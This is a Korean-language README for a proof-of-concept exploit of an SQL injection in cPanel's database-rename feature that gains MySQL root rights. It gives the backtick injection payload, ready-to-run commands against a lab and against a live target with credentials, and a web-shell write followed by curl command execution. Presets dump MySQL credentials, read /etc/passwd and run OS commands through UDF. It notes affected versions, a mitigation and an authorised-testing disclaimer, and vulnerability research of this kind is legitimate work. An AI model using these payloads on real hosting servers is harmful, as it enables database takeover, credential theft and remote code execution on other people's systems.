
보안 연구 프로젝트
CVSS 4.0: 9.4 (치명적) | CWE-89: SQL 인젝션 | NVD
인증된 cPanel 사용자 → 데이터베이스 이름 변경을 통한 MySQL root 권한의 임의의 SQL 실행.
cPanel은 이름 변경 작업을 root로 실행할 때 사용자 세션의 sql_mode(ANSI_QUOTES)를 부적절하게 유지합니다 —
데이터베이스 이름의 백틱이 식별자에서 벗어나 SQL을 주입합니다.
name: db`; GRANT ALL ON *.* TO 'rce'@'%' IDENTIFIED BY 'pwned!'; --
pip install -r requirements.txt
python3 simulate.py start # start lab (MariaDB:13306, cPanel API:18080, Apache:18081)
python3 poc.py -t http://localhost:18080 --mysql-port 13306 --payload admin-user --verify
python3 simulate.py stop
랩 모드는 자동 감지됩니다 — --lab 플래그가 필요하지 않습니다.
python3 poc.py -t https://cpanel.example.com:2083 -u user -p 'pass' \
--payload admin-user --verify
사용자 지정 SQL: --inject "GRANT ALL ON *.* TO 'x'@'%' IDENTIFIED BY 'y'"
# 1. Write shell to web root
python3 poc.py -t http://localhost:18080 --mysql-port 13306 \
--payload webshell --shell /var/www/html/shell.php
# 2. Execute commands via HTTP!
curl "http://localhost:18081/shell.php?0=id"
cPanel < 11.110.0.137, 11.118.0.71, 11.126.0.78, 11.134.0.48, 11.136.0.32; WP Squared < 11.138.1.6
완화 조치: 업그레이드하거나 cPanel 사용자의 MySQL 기능을 해지합니다.
공인된 보안 테스트 및 교육 목적으로만 사용하십시오.
| 프리셋 | 효과 |
|---|
admin-user (기본값) | MySQL 관리자 사용자 rce 생성 |
compact-admin | 짧은 관리자 페이로드(<64자 — 실제 cPanel의 이름 제한에 맞음; 확인: r/p) |
webshell | INTO OUTFILE을 통한 PHP 셸 작성(--shell /var/www/html/shell.php) |
read-file | LOAD_FILE을 통한 서버 파일 읽기(--file /etc/passwd) |
dump-users | 모든 MySQL 자격 증명을 pwn.users로 덤프 |
udf-rce | UDF를 통한 OS 명령 실행 |